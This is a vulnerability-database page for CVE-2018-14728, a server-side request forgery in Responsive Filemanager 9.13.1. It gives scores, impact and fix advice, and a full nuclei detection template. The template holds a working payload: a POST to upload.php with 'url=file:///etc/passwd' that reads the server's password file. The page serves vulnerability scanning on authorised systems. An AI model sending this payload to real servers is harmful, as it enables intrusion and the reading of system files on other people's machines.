Browse / CVEs / CVE-2018-14728
CVE-2018-14728· tecrail / responsive filemanager· CWE-918
Responsive filemanager 9.13.1 Server-Side Request Forgery
criticalseverity
9.8CVSS score
76.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Responsive filemanager 9.13.1 is susceptible to server-side request forgery in upload.php via the url parameter.
Impact
An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.
Fix
Upgrade to a patched version of Responsive Filemanager or apply the necessary security patches to mitigate the SSRF vulnerability.
How to confirm it
Send: POST {{BaseURL}}/filemanager/upload.php
Positive when: matches /root:.*:0:0:/Run it with nuclei: nuclei -id CVE-2018-14728 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2018-14728
info:
name: Responsive filemanager 9.13.1 Server-Side Request Forgery
author: madrobot
severity: critical
description: Responsive filemanager 9.13.1 is susceptible to server-side request forgery in upload.php via the url parameter.
impact: |
An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.
remediation: |
Upgrade to a patched version of Responsive Filemanager or apply the necessary security patches to mitigate the SSRF vulnerability.
reference:
- http://packetstormsecurity.com/files/148742/Responsive-Filemanager-9.13.1-Server-Side-Request-Forgery.html
- https://www.exploit-db.com/exploits/45103/
- https://nvd.nist.gov/vuln/detail/CVE-2018-14728
- https://github.com/sobinge/nuclei-templates
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-14728
cwe-id: CWE-918
epss-score: 0.76264
epss-percentile: 0.9954
cpe: cpe:2.3:a:tecrail:responsive_filemanager:9.13.1:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: tecrail
product: responsive_filemanager
tags: cve2018,cve,ssrf,lfi,packetstorm,edb,intrusive,tecrail,vuln
http:
- method: POST
path:
- "{{BaseURL}}/filemanager/upload.php"
body: fldr=&url=file:///etc/passwd
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"References
- http://packetstormsecurity.com/files/148742/Responsive-Filemanager-9.13.1-Server-Side-Request-Forgery.html
- https://www.exploit-db.com/exploits/45103/
- https://nvd.nist.gov/vuln/detail/CVE-2018-14728
- https://github.com/sobinge/nuclei-templates
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from